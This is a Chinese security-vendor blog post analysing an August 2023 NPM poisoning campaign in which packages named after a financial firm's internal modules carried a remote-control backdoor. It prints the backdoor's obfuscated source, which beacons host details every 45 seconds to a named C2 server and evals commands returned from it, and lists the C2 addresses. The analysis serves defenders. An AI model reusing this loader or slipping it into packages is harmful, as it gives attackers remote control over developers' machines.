首起针对国内金融企业的开源组件投毒攻击事件

简述

2023年8月9日,墨菲监控到用户名为 snugglejack_org (邮件地址:SnuggleBearrxx@hotmail.com)的用户发布到 NPM 仓库中的 ws-paso-jssdk 组件包具有发向 https://ql.rustdesk[.]net 的可疑流量,经过确认该组件包携带远控脚本,从攻击者可控的 C2 服务器接收并执行系统命令,该组件包于2023年8月10日7点 21 分从 NPM 仓库下架。

经过持续跟踪发现,该投毒者继续向 NPM 仓库继续发布了 pingan-vue-floating 等类似恶意组件包,投毒包的恶意 C2 地址改为了 62.234.32.226 ,此 IP 为以北京腾讯云提供,并且投毒包以 pingan、ynf 等命名,很大几率是针对国内厂商(例如中国*安),投毒者通过模拟目标企业内部私有源组件命名进行混淆,进而通过诱导用户企业内部用户下载投毒组件包实现对目标机器的远控入侵,这是目前公开发现的首起针对国内金融企业的开源组件投毒攻击事件。

截至2023年8月14日,投毒包仍可在NPM腾讯源进行下载(见图1),用户可通过 npm ls 判断是否下载了恶意组件,批量检测投毒检测可联系墨菲安全使用产品工具进行全网一键排查,最近正值大型攻防演练,建议大家认真排查。

图1: 腾讯云NPM组件下载地址
图1: 腾讯云NPM组件下载地址

投毒分析

以pingan-vue-floating-0.0.7组件为例,该组件包通过 pm2 创建守护线程,每隔 45 秒后向攻击者可控的恶意C2服务器发送请求维持心跳,进而接收并执行攻击者发送的系统命令:

//pingan-vue-floating-0.0.7/app.js

const key = (37532).toString(36).toLowerCase()+(27).toString(36).toLowerCase().split('').map(function(S){return String.fromCharCode(S.charCodeAt()+(-39))}).join('')+(1166).toString(36).toLowerCase()+(function(){var v=Array.prototype.slice.call(arguments),A=v.shift();return v.reverse().map(function(N,Q){return String.fromCharCode(N-A-10-Q)}).join('')})(43,107,106,169,150,111,106)+(914).toString(36).toLowerCase()+(function(){var k=Array.prototype.slice.call(arguments),D=k.shift();return k.reverse().map(function(r,I){return String.fromCharCode(r-D-8-I)}).join('')})(36,167,112)
const url = "http://62.234.32.226:8888"
const filename = path.join(os.tmpdir(), 'node_logs.txt');
const headersCnf = {
    headers: {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134'
    }
};
……
function heartbeat(){
    const requestData = {
        hostname: os.hostname(),
        uuid:machineIdSync({original: true}),
        os:os.platform(),
    };
    sendRequest(url+'/api/index',aesEncrypt(JSON.stringify(requestData)))
    const task = {
        uuid:machineIdSync({original: true}),
    }
    sendRequest(url+'/api/captcha',aesEncrypt(JSON.stringify(task))).then(result => {
        try{
            if (result !== undefined) {
                const data = JSON.parse(result);
                const decodedData = Buffer.from(data.code, 'base64').toString();
                eval(decodedData)
            }
        }catch (error){
        }
    });

}

function app(){
    const result = checkFile();
    if (result.exists) {
        return
    } else {
        createTmpFile();
        setInterval(heartbeat, 45000);
    }
}
app()

此次事件的攻击者投毒的所有组件列表

Tip:请各单位自行排查!
Tip:请各单位自行排查!

排查工具及投毒情报

墨菲安全提供产品可实时拦截针对开源组件的投毒

墨菲安全的私有源网关产品可对npm、pip、maven等中央仓库的投毒事件进行实时的检测和拦截,同时支持对高危漏洞实现基线管理,目前该产品已在蚂蚁、小米、中国电信、中国移动等数十家客户落地应用。

申请演示&试用通道:

https://www.murphysec.com/enterprise

墨菲安全提供实时的开源组件投毒情报预警可订阅

墨菲安全0day漏洞及投毒情报覆盖最新的0day、1day及投毒情报预警,所有情报经过严格的安全专家研判,保障企业获取的第一手的高质量漏洞及投毒情报,更有比CVE漏洞库多25+额外的详细分析字段,目前该产品已在蚂蚁、美团、中国电信等数十家客户落地应用。

申请演示&试用通道:

https://www.murphysec.com/enterprise

(0)
上一篇 2023年8月18日 下午3:43
下一篇 2023年8月21日 下午5:47

相关推荐

  • CSO 们关注的软件供应链安全十个关键问题

    写在前面 自从和几个小伙伴一起创办墨菲安全以来,有一年半多的时间了,创业对于我来说,很有意思的一个地方,就是有机会可以和各行各业很多非常有意思的人一起交流,在这个交流的过程中能够不断的提升自己的认知,以我自己创业之前的经历来说,我接触的大多都是互联网和互联网安全这个圈子的人,而现在有很多机会去接触到更多行业的客户和合作伙伴,可以有机会去了解不同行业的业务、安…

    2023年8月9日
    0
  • 小心白蛇!PyPI仓库被持续投放White Snake后门组件

    背景 墨菲安全实验室在持续监测开源软件仓库中的投毒行为,4 月 14 日起陆续发现至少 41 个包含白蛇(White Snake)后门的 Python 包被发布到 PyPI 仓库,目前相关的后门包仍在持续发布。 事件简述 白蛇 (WhiteSnake)是在今年 2 月份开始持续活跃、以信息窃取为目的的后门软件,其通过 telegram 等渠道进行售卖,按照不…

    2023年8月9日
    0
  • CuteBoi:超过 1200 个 NPM 包加入挖矿逻辑

    事件简述 近日,checkmarx研究人员公开了一起涉及众多包的NPM软件供应链攻击事件。事件最早可以追溯到 2021年12月,攻击者投放了1200多个包含混淆加密的恶意 NPM ,这些包拥有相同的挖矿脚本(eazyminer),该脚本的目的是利用如 Database和 Web 等所在服务器的机器闲置资源进行挖矿。 攻击事件分析 攻击手法 CuteBoi 主…

    2023年8月9日
    0
  • 开源无国界?vue-cli、node-ipc被投毒事件分析

    简述 近日我们监测到Vue.js生态中的vue-cli包遭遇供应链投毒,而被投毒的node-ipc包在npm上每周下载量超百万,影响非常广泛。 被投毒的情况如下: (问题组件每周下载量截图) 事件时间线 3月7号 开发者RIAEvangelist在node-ipc包中添加名为ssl-geospec.js的恶意JS文件,将node-ipc的版本号更新为10.1…

    2023年8月9日
    0
  • curl&libcurl高危漏洞CVE-2023-38545即将公开,如何应对?

    背景 Curl是从1998年开始开发的开源网络请求命令行工具,其中包含的libcurl也被作为组件广泛用于应用的HTTP请求。 10月4日,curl项目的作者bagder(Daniel Stenberg)在GitHub中预告将于10月11日发布 8.4.0 版本,并公开两个漏洞:CVE-2023-38545和CVE-2023-38546。其中 CVE-202…

    2023年10月10日
    0